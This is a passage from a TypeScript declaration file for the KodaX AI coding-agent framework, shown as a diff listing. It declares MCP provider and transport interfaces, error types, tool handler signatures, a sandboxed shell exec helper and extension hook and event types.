/** Public teardown — clears everything including the connect lock. */
|
|
349
|
+
dispose(): Promise<void>;
|
|
350
|
+
/** Internal transport teardown — does NOT clear connectPromise so the
|
|
351
|
+
* retry loop inside doConnect() can safely call it between attempts. */
|
|
352
|
+
private resetTransport;
|
|
353
|
+
private connect;
|
|
354
|
+
private doConnect;
|
|
355
|
+
private listDescriptors;
|
|
356
|
+
private request;
|
|
357
|
+
private notify;
|
|
358
|
+
private handleMessage;
|
|
359
|
+
private failPending;
|
|
360
|
+
private applyCatalogSnapshot;
|
|
361
|
+
}
|
|
362
|
+
|
|
363
|
+
/**
|
|
364
|
+
* `McpCapabilityProvider` — implements the Layer A `CapabilityProvider`
|
|
365
|
+
* contract for an MCP server fleet.
|
|
366
|
+
*
|
|
367
|
+
* FEATURE_082 (v0.7.24): moved from
|
|
368
|
+
* `@kodax-ai/coding/src/capabilities/providers/mcp/provider.ts` to this package.
|
|
369
|
+
* The coding-specific `registerConfiguredMcpCapabilityProvider` adapter (which
|
|
370
|
+
* pulls in `KodaXExtensionRuntime`) lives in
|
|
371
|
+
* `@kodax-ai/coding/src/capabilities/providers/mcp-adapter.ts`.
|
|
372
|
+
*/
|
|
373
|
+
|
|
374
|
+
interface McpProviderOptions {
|
|
375
|
+
cacheDir?: string;
|
|
376
|
+
}
|
|
377
|
+
declare class McpCapabilityProvider implements CapabilityProvider {
|
|
378
|
+
readonly id = "mcp";
|
|
379
|
+
readonly kinds: CapabilityProvider['kinds'];
|
|
380
|
+
private readonly runtimes;
|
|
381
|
+
private readonly cacheDir;
|
|
382
|
+
/**
|
|
383
|
+
* Construct an MCP capability provider.
|
|
384
|
+
*
|
|
385
|
+
* **Cache-dir capture warning (v0.7.35.1 FEATURE_145)** — when
|
|
386
|
+
* `options.cacheDir` is omitted, this constructor resolves
|
|
387
|
+
* `defaultMcpCacheDir()` ONCE at instantiation time and threads the
|
|
388
|
+
* result into every `McpServerRuntime` it spawns. If a substrate
|
|
389
|
+
* consumer plans to redirect the agent config home via
|
|
390
|
+
* `setAgentConfigHome()` from `@kodax-ai/agent`, that call MUST happen
|
|
391
|
+
* BEFORE constructing this provider. Late calls have no effect on
|
|
392
|
+
* already-constructed runtimes.
|
|
393
|
+
*
|
|
394
|
+
* To bypass the agent-home resolver entirely, pass
|
|
395
|
+
* `options.cacheDir` explicitly — that path wins unconditionally.
|
|
396
|
+
*/
|
|
397
|
+
constructor(servers: McpServersConfig | undefined, options?: McpProviderOptions);
|
|
398
|
+
hasActiveServers(): boolean;
|
|
399
|
+
prewarm(): Promise<void>;
|
|
400
|
+
search(query: string, options?: {
|
|
401
|
+
kind?: CapabilityKind;
|
|
402
|
+
limit?: number;
|
|
403
|
+
server?: string;
|
|
404
|
+
}): Promise<unknown[]>;
|
|
405
|
+
describe(id: string): Promise<unknown>;
|
|
406
|
+
execute(id: string, input: Record<string, unknown>): Promise<CapabilityResult>;
|
|
407
|
+
read(id: string, options?: Record<string, unknown>): Promise<CapabilityResult>;
|
|
408
|
+
getPrompt(id: string, args?: Record<string, unknown>): Promise<unknown>;
|
|
409
|
+
getPromptContext(): Promise<string | undefined>;
|
|
410
|
+
getDiagnostics(): Record<string, unknown> | undefined;
|
|
411
|
+
refresh(): Promise<void>;
|
|
412
|
+
dispose(): Promise<void>;
|
|
413
|
+
private collectCatalogItems;
|
|
414
|
+
private listServerDiagnostics;
|
|
415
|
+
private requireRuntime;
|
|
416
|
+
}
|
|
417
|
+
|
|
418
|
+
interface McpTransportEvents {
|
|
419
|
+
/** Called with a complete JSON-RPC message (raw JSON string). */
|
|
420
|
+
onMessage(raw: string): void;
|
|
421
|
+
onError(error: Error): void;
|
|
422
|
+
onClose(reason: string): void;
|
|
423
|
+
}
|
|
424
|
+
interface McpTransport {
|
|
425
|
+
open(events: McpTransportEvents): Promise<void>;
|
|
426
|
+
/** Send a JSON string. The transport handles framing. */
|
|
427
|
+
send(json: string): Promise<void>;
|
|
428
|
+
close(): Promise<void>;
|
|
429
|
+
readonly connected: boolean;
|
|
430
|
+
}
|
|
431
|
+
type StdioFraming = 'content-length' | 'ndjson';
|
|
432
|
+
interface McpTransportOptions {
|
|
433
|
+
stdioFraming?: StdioFraming;
|
|
434
|
+
}
|
|
435
|
+
declare function createMcpTransport(config: McpServerConfig, options?: McpTransportOptions): McpTransport;
|
|
436
|
+
|
|
437
|
+
/**
|
|
438
|
+
* KodaX Core Errors
|
|
439
|
+
*
|
|
440
|
+
* 错误类型体系 - 提供结构化的错误处理
|
|
441
|
+
*/
|
|
442
|
+
/** 基础 KodaX 错误类 */
|
|
443
|
+
declare class KodaXError extends Error {
|
|
444
|
+
readonly code: string;
|
|
445
|
+
constructor(message: string, code?: string);
|
|
446
|
+
}
|
|
447
|
+
/** 工具执行错误 */
|
|
448
|
+
declare class KodaXToolError extends KodaXError {
|
|
449
|
+
readonly toolName: string;
|
|
450
|
+
readonly toolId?: string | undefined;
|
|
451
|
+
constructor(message: string, toolName: string, toolId?: string | undefined);
|
|
452
|
+
}
|
|
453
|
+
/** 会话错误 */
|
|
454
|
+
declare class KodaXSessionError extends KodaXError {
|
|
455
|
+
readonly sessionId?: string | undefined;
|
|
456
|
+
constructor(message: string, sessionId?: string | undefined);
|
|
457
|
+
}
|
|
458
|
+
/** 终端不支持错误 */
|
|
459
|
+
declare class KodaXTerminalError extends KodaXError {
|
|
460
|
+
/** 建议的替代命令 */
|
|
461
|
+
readonly suggestions: string[];
|
|
462
|
+
constructor(message: string, suggestions?: string[]);
|
|
463
|
+
}
|
|
464
|
+
|
|
465
|
+
/**
|
|
466
|
+
* KodaX Error Classification
|
|
467
|
+
*
|
|
468
|
+
* 错误分类系统 - 决定适当的恢复策略
|
|
469
|
+
*/
|
|
470
|
+
declare enum ErrorCategory {
|
|
471
|
+
TRANSIENT = 0,// 临时错误,可重试(速率限制、超时、网络错误)
|
|
472
|
+
PERMANENT = 1,// 永久错误,不可重试(认证失败、无效请求)
|
|
473
|
+
TOOL_CALL_ID = 2,// 特定的 tool_call_id 不匹配错误
|
|
474
|
+
USER_ABORT = 3
|
|
475
|
+
}
|
|
476
|
+
interface ErrorClassification {
|
|
477
|
+
category: ErrorCategory;
|
|
478
|
+
retryable: boolean;
|
|
479
|
+
maxRetries: number;
|
|
480
|
+
retryDelay: number;
|
|
481
|
+
shouldCleanup: boolean;
|
|
482
|
+
}
|
|
483
|
+
/**
|
|
484
|
+
* 分类错误以确定适当的恢复策略
|
|
485
|
+
*/
|
|
486
|
+
declare function classifyError(error: Error): ErrorClassification;
|
|
487
|
+
|
|
488
|
+
/**
|
|
489
|
+
* KodaX Core Constants
|
|
490
|
+
*/
|
|
491
|
+
|
|
492
|
+
/** Prefix used to detect user-cancelled tool results in the agent loop. */
|
|
493
|
+
declare const CANCELLED_TOOL_RESULT_PREFIX = "[Cancelled]";
|
|
494
|
+
/** Standard cancellation message returned when a tool is cancelled by the user. */
|
|
495
|
+
declare const CANCELLED_TOOL_RESULT_MESSAGE = "[Cancelled] Operation cancelled by user";
|
|
496
|
+
|
|
497
|
+
/**
|
|
498
|
+
* KodaX Tool Types
|
|
499
|
+
*/
|
|
500
|
+
|
|
501
|
+
/**
|
|
502
|
+
* Progress yield from a streaming (async generator) tool.
|
|
503
|
+
* Each yield appears as a real-time status update in the REPL transcript.
|
|
504
|
+
*/
|
|
505
|
+
interface ToolProgress {
|
|
506
|
+
readonly stage: string;
|
|
507
|
+
readonly message: string;
|
|
508
|
+
}
|
|
509
|
+
/** Standard tool handler — returns a single result string. */
|
|
510
|
+
type ToolHandlerSync = (input: Record<string, unknown>, context: KodaXToolExecutionContext) => Promise<string>;
|
|
511
|
+
/** Streaming tool handler — yields progress updates, returns final result string. */
|
|
512
|
+
type ToolHandlerStreaming = (input: Record<string, unknown>, context: KodaXToolExecutionContext) => AsyncGenerator<ToolProgress, string, void>;
|
|
513
|
+
/** Union of both handler types. Existing tools use ToolHandlerSync; new long-running tools may use ToolHandlerStreaming. */
|
|
514
|
+
type ToolHandler = ToolHandlerSync | ToolHandlerStreaming;
|
|
515
|
+
/**
|
|
516
|
+
* FEATURE_149 (v0.7.38) — interrupt-on-submit policy for in-flight tools.
|
|
517
|
+
*
|
|
518
|
+
* Controls whether submitting a new prompt while THIS tool is mid-execution
|
|
519
|
+
* triggers a fast-abort of the current agent round (so the new prompt starts
|
|
520
|
+
* immediately) or queues the prompt to run after the tool resolves.
|
|
521
|
+
*
|
|
522
|
+
* - `'cancel'` — long-running tools whose work the user is likely to want
|
|
523
|
+
* to abandon when they redirect (e.g., `bash` running a 30s script,
|
|
524
|
+
* `dispatch_child_task` synchronously awaiting a child, sleep-style
|
|
525
|
+
* tools). InkREPL submit handler aborts the round immediately.
|
|
526
|
+
*
|
|
527
|
+
* - `'wait'` (default) — atomic / fast tools (read, grep, glob, write,
|
|
528
|
+
* edit, …) where waiting for completion is cheaper than aborting and
|
|
529
|
+
* redoing.
|
|
530
|
+
*
|
|
531
|
+
* Mirrors Claude Code `interruptBehavior` (`utils/handlePromptSubmit.ts`).
|
|
532
|
+
*/
|
|
533
|
+
type ToolInterruptBehavior = 'cancel' | 'wait';
|
|
534
|
+
interface LocalToolDefinition extends KodaXToolDefinition {
|
|
535
|
+
handler: ToolHandler;
|
|
536
|
+
/**
|
|
537
|
+
* FEATURE_149 (v0.7.38) — submit-time interrupt policy. See
|
|
538
|
+
* {@link ToolInterruptBehavior}. Default `'wait'` when undefined.
|
|
539
|
+
*/
|
|
540
|
+
interruptBehavior?: ToolInterruptBehavior;
|
|
541
|
+
/**
|
|
542
|
+
* Classifier projection — REQUIRED (FEATURE_092 v0.7.33).
|
|
543
|
+
*
|
|
544
|
+
* Returns a one-line string that the auto-mode classifier sees as the
|
|
545
|
+
* `<action>` to evaluate. The classifier asks: "Given the user's
|
|
546
|
+
* intent + rules, should the agent be allowed to run this?"
|
|
547
|
+
*
|
|
548
|
+
* THREE-TIER STRATEGY (pick by tool's risk profile):
|
|
549
|
+
*
|
|
550
|
+
* 1. ZERO RISK (read-only, structural):
|
|
551
|
+
* → return '' (Tier 1 — classifier is skipped entirely, zero token cost)
|
|
552
|
+
* Examples: read, grep, glob, ask_user_question, exit_plan_mode
|
|
553
|
+
*
|
|
554
|
+
* 2. HIGH RISK (mutates state, network, exec, spawn):
|
|
555
|
+
* → write a CUSTOM projection that surfaces the risk-bearing fields
|
|
556
|
+
* Examples: bash (`Bash: ${i.command}`), web_fetch (`WebFetch ${i.url}`)
|
|
557
|
+
* See `classifier-projection.ts` for examples by category.
|
|
558
|
+
*
|
|
559
|
+
* 3. LOW RISK (structured input, side-effect-capable):
|
|
560
|
+
* → return defaultToClassifierInput(name, input) (one-line helper)
|
|
561
|
+
* Examples: semantic_lookup (refresh: true rebuilds index)
|
|
562
|
+
*
|
|
563
|
+
* KEEP IT SHORT: ≤ 100 chars typical. Variable-length user-provided fields
|
|
564
|
+
* (bash command, URL, dispatch_child_task objective) may legitimately
|
|
565
|
+
* exceed this — the projection's job is to make the risk visible, not to
|
|
566
|
+
* fit a fixed budget at the cost of hiding it.
|
|
567
|
+
*
|
|
568
|
+
* NEVER include: raw file contents, secrets, API keys, full LLM-emitted
|
|
569
|
+
* reasoning, or untrusted text passed through verbatim. Use byte/line
|
|
570
|
+
* counts as proxies (`Write ${path} (${content.length} bytes)`).
|
|
571
|
+
*
|
|
572
|
+
* See `docs/features/v0.7.33.md` "Tool 接口扩展" for design rationale.
|
|
573
|
+
*/
|
|
574
|
+
toClassifierInput: (input: unknown) => string;
|
|
575
|
+
}
|
|
576
|
+
interface ToolDefinitionSource {
|
|
577
|
+
/**
|
|
578
|
+
* Origin of the registered tool. `'constructed'` (FEATURE_087, v0.7.28)
|
|
579
|
+
* marks tools materialized at runtime by `ConstructionRuntime` from
|
|
580
|
+
* `.kodax/constructed/tools/<name>/<version>.json` artifacts.
|
|
581
|
+
*/
|
|
582
|
+
kind: 'builtin' | 'extension' | 'constructed';
|
|
583
|
+
id?: string;
|
|
584
|
+
label?: string;
|
|
585
|
+
/**
|
|
586
|
+
* Constructed-only: semver of the activated artifact. Used by
|
|
587
|
+
* `findByVersion()` and by `revoke()` to locate a specific stack entry.
|
|
588
|
+
*/
|
|
589
|
+
version?: string;
|
|
590
|
+
/**
|
|
591
|
+
* Constructed-only: absolute path to the artifact JSON on disk.
|
|
592
|
+
* Lets revoke / inspect operations round-trip back to the source of
|
|
593
|
+
* truth without re-globbing.
|
|
594
|
+
*/
|
|
595
|
+
manifestPath?: string;
|
|
596
|
+
}
|
|
597
|
+
interface RegisteredToolDefinition extends LocalToolDefinition {
|
|
598
|
+
registrationId: string;
|
|
599
|
+
requiredParams: string[];
|
|
600
|
+
source: ToolDefinitionSource;
|
|
601
|
+
}
|
|
602
|
+
interface ToolRegistrationOptions {
|
|
603
|
+
source?: ToolDefinitionSource;
|
|
604
|
+
}
|
|
605
|
+
type ToolRegistry = Map<string, RegisteredToolDefinition[]>;
|
|
606
|
+
type KodaXRetrievalToolName = 'web_search' | 'web_fetch' | 'code_search' | 'semantic_lookup' | 'mcp_search' | 'mcp_describe' | 'mcp_call' | 'mcp_read_resource' | 'mcp_get_prompt';
|
|
607
|
+
type KodaXRetrievalScope = 'workspace' | 'remote';
|
|
608
|
+
type KodaXRetrievalTrust = 'workspace' | 'provider' | 'open-world';
|
|
609
|
+
type KodaXRetrievalFreshness = 'fresh' | 'snapshot' | 'unknown';
|
|
610
|
+
interface KodaXRetrievalArtifact {
|
|
611
|
+
kind: 'url' | 'path' | 'symbol' | 'module' | 'process' | 'provider';
|
|
612
|
+
label: string;
|
|
613
|
+
value: string;
|
|
614
|
+
}
|
|
615
|
+
interface KodaXRetrievalItem {
|
|
616
|
+
title: string;
|
|
617
|
+
locator?: string;
|
|
618
|
+
snippet?: string;
|
|
619
|
+
score?: number;
|
|
620
|
+
metadata?: Record<string, unknown>;
|
|
621
|
+
}
|
|
622
|
+
interface KodaXRetrievalResult {
|
|
623
|
+
tool: KodaXRetrievalToolName;
|
|
624
|
+
query?: string;
|
|
625
|
+
scope: KodaXRetrievalScope;
|
|
626
|
+
trust: KodaXRetrievalTrust;
|
|
627
|
+
freshness: KodaXRetrievalFreshness;
|
|
628
|
+
provider?: string;
|
|
629
|
+
summary: string;
|
|
630
|
+
content?: string;
|
|
631
|
+
items: KodaXRetrievalItem[];
|
|
632
|
+
artifacts?: KodaXRetrievalArtifact[];
|
|
633
|
+
metadata?: Record<string, unknown>;
|
|
634
|
+
}
|
|
635
|
+
|
|
636
|
+
declare const KODAX_TOOLS: KodaXToolDefinition[];
|
|
637
|
+
declare function registerTool(definition: LocalToolDefinition, options?: ToolRegistrationOptions): () => void;
|
|
638
|
+
declare function getTool(name: string): ToolHandler | undefined;
|
|
639
|
+
declare function getToolDefinition(name: string): KodaXToolDefinition | undefined;
|
|
640
|
+
declare function getRegisteredToolDefinition(name: string): RegisteredToolDefinition | undefined;
|
|
641
|
+
declare function getToolRegistrations(name: string): RegisteredToolDefinition[];
|
|
642
|
+
declare function getBuiltinToolDefinition(name: string): KodaXToolDefinition | undefined;
|
|
643
|
+
declare function getBuiltinRegisteredToolDefinition(name: string): RegisteredToolDefinition | undefined;
|
|
644
|
+
declare function createBuiltinToolDefinition(name: string): LocalToolDefinition | undefined;
|
|
645
|
+
declare function listBuiltinToolDefinitions(): RegisteredToolDefinition[];
|
|
646
|
+
declare function getRequiredToolParams(name: string): string[];
|
|
647
|
+
declare function listTools(): string[];
|
|
648
|
+
declare function listToolDefinitions(): KodaXToolDefinition[];
|
|
649
|
+
declare function executeTool(name: string, input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
650
|
+
|
|
651
|
+
declare function toolRead(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
652
|
+
|
|
653
|
+
declare function toolWrite(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
654
|
+
|
|
655
|
+
type EditToolErrorCode = 'EDIT_NOT_FOUND' | 'EDIT_AMBIGUOUS' | 'EDIT_TOO_LARGE';
|
|
656
|
+
interface EditRecoveryDiagnostic {
|
|
657
|
+
code: EditToolErrorCode;
|
|
658
|
+
filePath: string;
|
|
659
|
+
candidates: Array<{
|
|
660
|
+
startLine: number;
|
|
661
|
+
endLine: number;
|
|
662
|
+
preview: string;
|
|
663
|
+
excerpt: string;
|
|
664
|
+
}>;
|
|
665
|
+
}
|
|
666
|
+
declare function toolEdit(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
667
|
+
declare function parseEditToolError(result: string): EditToolErrorCode | undefined;
|
|
668
|
+
declare function inspectEditFailure(pathValue: string, oldString: string, ctx: KodaXToolExecutionContext, windowLines: number): Promise<EditRecoveryDiagnostic>;
|
|
669
|
+
|
|
670
|
+
declare function toolInsertAfterAnchor(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
671
|
+
|
|
672
|
+
declare function toolBash(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
673
|
+
|
|
674
|
+
/**
|
|
675
|
+
* KodaX Glob Tool
|
|
676
|
+
*
|
|
677
|
+
* 文件搜索工具
|
|
678
|
+
*/
|
|
679
|
+
|
|
680
|
+
declare function toolGlob(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
681
|
+
|
|
682
|
+
declare function toolGrep(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
683
|
+
|
|
684
|
+
/**
|
|
685
|
+
* KodaX Undo Tool
|
|
686
|
+
*
|
|
687
|
+
* 撤销工具 - 恢复最后一次文件修改
|
|
688
|
+
*/
|
|
689
|
+
|
|
690
|
+
declare function toolUndo(_input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
691
|
+
|
|
692
|
+
/**
|
|
693
|
+
* KodaX AskUserQuestion Tool
|
|
694
|
+
*
|
|
695
|
+
* 交互式提问工具 - 允许 LLM 在需要时主动向用户提问
|
|
696
|
+
* Supports: single-select, multi-select, free-text input, and multi-question modes.
|
|
697
|
+
*/
|
|
698
|
+
|
|
699
|
+
/**
|
|
700
|
+
* Ask user a question with multiple interaction modes.
|
|
701
|
+
*
|
|
702
|
+
* This tool requires context.askUser (select) or context.askUserInput (input)
|
|
703
|
+
* callback to be provided by the REPL layer.
|
|
704
|
+
*/
|
|
705
|
+
declare function toolAskUserQuestion(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
706
|
+
|
|
707
|
+
declare function toolRepoOverview(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
708
|
+
|
|
709
|
+
declare function toolChangedScope(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
710
|
+
|
|
711
|
+
declare function toolChangedDiff(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
712
|
+
|
|
713
|
+
declare function toolModuleContext(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
714
|
+
|
|
715
|
+
declare function toolSymbolContext(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
716
|
+
|
|
717
|
+
declare function toolProcessContext(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
718
|
+
|
|
719
|
+
declare function toolImpactEstimate(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
720
|
+
|
|
721
|
+
declare function toolWebSearch(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
722
|
+
|
|
723
|
+
declare function toolWebFetch(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
724
|
+
|
|
725
|
+
declare function toolCodeSearch(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
726
|
+
|
|
727
|
+
declare function toolSemanticLookup(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
|
|
728
|
+
|
|
729
|
+
interface ExecOptions {
|
|
730
|
+
/** Extra environment variables to inject (merged with safe base env). */
|
|
731
|
+
readonly env?: Readonly<Record<string, string>>;
|
|
732
|
+
/** Working directory. Defaults to process.cwd(). */
|
|
733
|
+
readonly cwd?: string;
|
|
734
|
+
/** Timeout in milliseconds. Defaults to 30000. */
|
|
735
|
+
readonly timeout?: number;
|
|
736
|
+
/** Shell to use. Defaults to 'bash' on Unix, 'powershell' on Windows. */
|
|
737
|
+
readonly shell?: 'bash' | 'powershell';
|
|
738
|
+
}
|
|
739
|
+
interface ExecResult {
|
|
740
|
+
readonly exitCode: number;
|
|
741
|
+
readonly stdout: string;
|
|
742
|
+
readonly stderr: string;
|
|
743
|
+
}
|
|
744
|
+
/**
|
|
745
|
+
* Run a shell command with a sandboxed environment.
|
|
746
|
+
*
|
|
747
|
+
* SECURITY: Only a whitelist of safe environment variables is passed to the
|
|
748
|
+
* subprocess. API keys and tokens from the parent environment are NOT inherited.
|
|
749
|
+
*/
|
|
750
|
+
declare function exec(command: string, options?: ExecOptions): Promise<ExecResult>;
|
|
751
|
+
interface WebhookOptions {
|
|
752
|
+
/** HTTP method. Defaults to 'POST'. */
|
|
753
|
+
readonly method?: 'POST' | 'PUT';
|
|
754
|
+
/** Extra HTTP headers. */
|
|
755
|
+
readonly headers?: Readonly<Record<string, string>>;
|
|
756
|
+
/** Timeout in milliseconds. Defaults to 10000. */
|
|
757
|
+
readonly timeout?: number;
|
|
758
|
+
}
|
|
759
|
+
interface WebhookResult {
|
|
760
|
+
readonly ok: boolean;
|
|
761
|
+
readonly status: number;
|
|
762
|
+
readonly body?: string;
|
|
763
|
+
}
|
|
764
|
+
/**
|
|
765
|
+
* Send an HTTP webhook with timeout support.
|
|
766
|
+
* Returns a result object instead of throwing on errors.
|
|
767
|
+
*/
|
|
768
|
+
declare function webhook(url: string, payload: unknown, options?: WebhookOptions): Promise<WebhookResult>;
|
|
769
|
+
|
|
770
|
+
interface ModelProviderRegistration {
|
|
771
|
+
name: string;
|
|
772
|
+
factory: () => KodaXBaseProvider;
|
|
773
|
+
}
|
|
774
|
+
interface ExtensionCommandDefinition {
|
|
775
|
+
name: string;
|
|
776
|
+
aliases?: string[];
|
|
777
|
+
description: string;
|
|
778
|
+
usage?: string;
|
|
779
|
+
metadata?: Record<string, unknown>;
|
|
780
|
+
handler: (args: string[], context: ExtensionCommandContext) => Promise<ExtensionCommandResult | void> | ExtensionCommandResult | void;
|
|
781
|
+
}
|
|
782
|
+
interface ExtensionModelSelection {
|
|
783
|
+
provider?: string;
|
|
784
|
+
model?: string;
|
|
785
|
+
}
|
|
786
|
+
interface ExtensionLogger {
|
|
787
|
+
debug: (...args: unknown[]) => void;
|
|
788
|
+
info: (...args: unknown[]) => void;
|
|
789
|
+
warn: (...args: unknown[]) => void;
|
|
790
|
+
error: (...args: unknown[]) => void;
|
|
791
|
+
}
|
|
792
|
+
interface ExtensionFileContributionSource {
|
|
793
|
+
kind: 'extension';
|
|
794
|
+
id: string;
|
|
795
|
+
label: string;
|
|
796
|
+
path: string;
|
|
797
|
+
}
|
|
798
|
+
interface RuntimeContributionSource {
|
|
799
|
+
kind: 'runtime';
|
|
800
|
+
id: string;
|
|
801
|
+
label: string;
|
|
802
|
+
path?: string;
|
|
803
|
+
}
|
|
804
|
+
type ExtensionContributionSource = ExtensionFileContributionSource | RuntimeContributionSource;
|
|
805
|
+
type ExtensionLoadSource = 'api' | 'cli' | 'config';
|
|
806
|
+
interface LoadedExtensionDiagnostic {
|
|
807
|
+
path: string;
|
|
808
|
+
label: string;
|
|
809
|
+
loadSource: ExtensionLoadSource;
|
|
810
|
+
sessionStateKeys?: string[];
|
|
811
|
+
sessionRecordCounts?: Record<string, number>;
|
|
812
|
+
}
|
|
813
|
+
interface RegisteredCapabilityProviderDiagnostic {
|
|
814
|
+
id: string;
|
|
815
|
+
kinds: CapabilityKind[];
|
|
816
|
+
source: ExtensionContributionSource;
|
|
817
|
+
metadata?: Record<string, unknown>;
|
|
818
|
+
}
|
|
819
|
+
interface RegisteredCommandDiagnostic {
|
|
820
|
+
name: string;
|
|
821
|
+
aliases?: string[];
|
|
822
|
+
description: string;
|
|
823
|
+
usage?: string;
|
|
824
|
+
metadata?: Record<string, unknown>;
|
|
825
|
+
source: ExtensionContributionSource;
|
|
826
|
+
}
|
|
827
|
+
interface RegisteredToolDiagnostic {
|
|
828
|
+
name: string;
|
|
829
|
+
description: string;
|
|
830
|
+
requiredParams: string[];
|
|
831
|
+
source: RegisteredToolDefinition['source'];
|
|
832
|
+
shadowedSources: RegisteredToolDefinition['source'][];
|
|
833
|
+
}
|
|
834
|
+
interface RegisteredHookDiagnostic {
|
|
835
|
+
hook: keyof ExtensionHookMap;
|
|
836
|
+
order: number;
|
|
837
|
+
source: ExtensionContributionSource;
|
|
838
|
+
}
|
|
839
|
+
type ExtensionFailureStage = 'load' | 'reload' | 'event' | 'hook' | 'persistence';
|
|
840
|
+
interface ExtensionFailureDiagnostic {
|
|
841
|
+
stage: ExtensionFailureStage;
|
|
842
|
+
target: string;
|
|
843
|
+
message: string;
|
|
844
|
+
occurredAt: string;
|
|
845
|
+
source: ExtensionContributionSource;
|
|
846
|
+
}
|
|
847
|
+
interface ExtensionRuntimeDiagnostics {
|
|
848
|
+
loadedExtensions: LoadedExtensionDiagnostic[];
|
|
849
|
+
capabilityProviders: RegisteredCapabilityProviderDiagnostic[];
|
|
850
|
+
commands: RegisteredCommandDiagnostic[];
|
|
851
|
+
tools: RegisteredToolDiagnostic[];
|
|
852
|
+
hooks: RegisteredHookDiagnostic[];
|
|
853
|
+
failures: ExtensionFailureDiagnostic[];
|
|
854
|
+
defaults: {
|
|
855
|
+
activeTools?: string[];
|
|
856
|
+
modelSelection: ExtensionModelSelection;
|
|
857
|
+
thinkingLevel?: KodaXReasoningMode;
|
|
858
|
+
};
|
|
859
|
+
}
|
|
860
|
+
interface ExtensionCommandInvocation {
|
|
861
|
+
prompt: string;
|
|
862
|
+
displayName?: string;
|
|
863
|
+
disableModelInvocation?: boolean;
|
|
864
|
+
allowedTools?: string;
|
|
865
|
+
context?: 'fork';
|
|
866
|
+
model?: string;
|
|
867
|
+
}
|
|
868
|
+
interface ExtensionCommandResult {
|
|
869
|
+
success?: boolean;
|
|
870
|
+
message?: string;
|
|
871
|
+
data?: unknown;
|
|
872
|
+
invocation?: ExtensionCommandInvocation;
|
|
873
|
+
}
|
|
874
|
+
interface ExtensionCommandContext {
|
|
875
|
+
sessionId?: string;
|
|
876
|
+
gitRoot?: string;
|
|
877
|
+
workingDirectory: string;
|
|
878
|
+
reloadExtensions: () => Promise<void>;
|
|
879
|
+
getDiagnostics: () => ExtensionRuntimeDiagnostics;
|
|
880
|
+
logger: ExtensionLogger;
|
|
881
|
+
}
|
|
882
|
+
interface ExtensionToolBeforeHookContext {
|
|
883
|
+
name: string;
|
|
884
|
+
input: Record<string, unknown>;
|
|
885
|
+
toolId?: string;
|
|
886
|
+
executionCwd?: string;
|
|
887
|
+
gitRoot?: string;
|
|
888
|
+
}
|
|
889
|
+
interface ExtensionProviderBeforeHookContext {
|
|
890
|
+
provider: string;
|
|
891
|
+
model?: string;
|
|
892
|
+
reasoningMode?: KodaXReasoningMode;
|
|
893
|
+
systemPrompt: string;
|
|
894
|
+
block: (reason: string) => void;
|
|
895
|
+
replaceProvider: (provider: string) => void;
|
|
896
|
+
replaceModel: (model?: string) => void;
|
|
897
|
+
replaceSystemPrompt: (systemPrompt: string) => void;
|
|
898
|
+
setThinkingLevel: (level: KodaXReasoningMode) => void;
|
|
899
|
+
}
|
|
900
|
+
interface ExtensionTurnSettleHookContext {
|
|
901
|
+
sessionId: string;
|
|
902
|
+
lastText: string;
|
|
903
|
+
hadToolCalls: boolean;
|
|
904
|
+
success: boolean;
|
|
905
|
+
signal?: 'COMPLETE' | 'BLOCKED' | 'DECIDE';
|
|
906
|
+
queueUserMessage: (message: string | KodaXMessage) => void;
|
|
907
|
+
setModelSelection: (next: ExtensionModelSelection) => void;
|
|
908
|
+
setThinkingLevel: (level: KodaXReasoningMode) => void;
|
|
909
|
+
}
|
|
910
|
+
interface ExtensionSessionHydrateHookContext {
|
|
911
|
+
sessionId: string;
|
|
912
|
+
getState: <T = KodaXJsonValue>(key: string) => T | undefined;
|
|
913
|
+
setState: (key: string, value: KodaXJsonValue | undefined) => void;
|
|
914
|
+
listRecords: (type?: string) => KodaXExtensionSessionRecord[];
|
|
915
|
+
appendRecord: (type: string, data?: KodaXJsonValue, options?: {
|
|
916
|
+
dedupeKey?: string;
|
|
917
|
+
}) => KodaXExtensionSessionRecord | undefined;
|
|
918
|
+
clearRecords: (type?: string) => number;
|
|
919
|
+
}
|
|
920
|
+
interface ExtensionEventMap {
|
|
921
|
+
'session:start': {
|
|
922
|
+
provider: string;
|
|
923
|
+
sessionId: string;
|
|
924
|
+
};
|
|
925
|
+
'turn:start': {
|
|
926
|
+
sessionId: string;
|
|
927
|
+
iteration: number;
|
|
928
|
+
maxIter: number;
|
|
929
|
+
};
|
|
930
|
+
'text:delta': {
|
|
931
|
+
text: string;
|
|
932
|
+
};
|
|
933
|
+
'thinking:delta': {
|
|
934
|
+
text: string;
|
|
935
|
+
};
|
|
936
|
+
'thinking:end': {
|
|
937
|
+
thinking: string;
|
|
938
|
+
};
|
|
939
|
+
'tool:start': {
|
|
940
|
+
name: string;
|
|
941
|
+
id: string;
|
|
942
|
+
input?: Record<string, unknown>;
|
|
943
|
+
};
|
|
944
|
+
'tool:result': {
|
|
945
|
+
id: string;
|
|
946
|
+
name: string;
|
|
947
|
+
